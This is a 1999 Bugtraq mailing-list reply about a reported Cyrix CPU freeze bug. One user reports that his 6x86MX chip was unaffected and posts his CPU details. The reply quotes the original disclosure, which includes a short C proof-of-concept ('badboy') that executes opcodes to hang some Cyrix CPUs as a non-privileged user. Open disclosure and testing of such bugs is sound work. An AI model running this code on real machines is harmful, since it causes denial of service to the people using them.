[9396] in bugtraq
Re: Cyrix bug: freeze in hell, badboy
daemon@ATHENA.MIT.EDU (Aaron Lehmann)
Mon Feb 8 02:35:36 1999
Date: Sat, 6 Feb 1999 01:44:01 +0000
Reply-To: Aaron Lehmann <aaronl@VITELUS.COM>
From: Aaron Lehmann <aaronl@VITELUS.COM>
X-To: Ragnar Hojland Espinosa <tech.support@REDESTB.ES>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <Pine.LNX.4.00.9902041630120.3314-100000@lightside.ddns.org>
This does not seem to affect my Cyrix 6x86MX/233. In single user mode, it
just hung until I ^C'd it. Running Linux 2.2.1
/proc/cpuinfo:
processor : 0
vendor_id : CyrixInstead
cpu family : 6
model : 2
model name : 6x86MX 2.5x Core/Bus Clock
stepping : 7
cpu_mhz : 187.399276
fdiv : no
hlt : no
sep : no
f00f : no
fpu : yes
fpu_exception : yes
cpuid level : 1
wp : yes
flags : fpu de tsc msr cx8 pge cmov mmx
bogomips : 186.78
KeyID 1024D/73348CA0
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On Thu, 4 Feb 1999, Ragnar Hojland Espinosa wrote:
> I emailed Cyrix a few months ago, and even managed to get a "oh, we will
> look at it" thanks to Rafael Reilova, but that was it till today. A
> couple of people did report it, effectively, froze (most of) their Cyrix
> CPUs while running the opcodes below as non priviledged user.
>
> While I don't have the enough knowledge to assure this _is_ a CPU bug, it
> certainly looks like one to me (NO_LOCK isn't a workaround, btw).
>
> 0x804a368 <the_data>: cwtl
> 0x804a36a <the_data+2>: orl $0xe6ebe020,%eax
> 0x804a36f <the_data+7>: jle 0x804a368 <the_data>
>
> Here is the code (tested with linux, any version):
>
> /* Please compile without optimizations */
> unsigned char the_data[] = { 62, 152, 13, 32, 224, 235, 230, 126, 247 };
>
> void (*badboy)();
> int main (int argc, char **argv)
> {
> badboy = (void(*)())(the_data);
> asm ("movl badboy,%eax");
> asm ("call *%eax");
>
> return 0;
> }
>
> If you try it, please send me your /proc/{cpuinfo,version} and if it
> freezes or not.
> --
> ____/| Ragnar Hojland (ragnar@lightside.ddns.org) Fingerprint 94C4B
> \ o.O| 2F0D27DE025BE2302C
> =(_)= "Thou shalt not follow the NULL pointer for 104B78C56 B72F0822
> U chaos and madness await thee at its end." hkp://keys.pgp.com
>
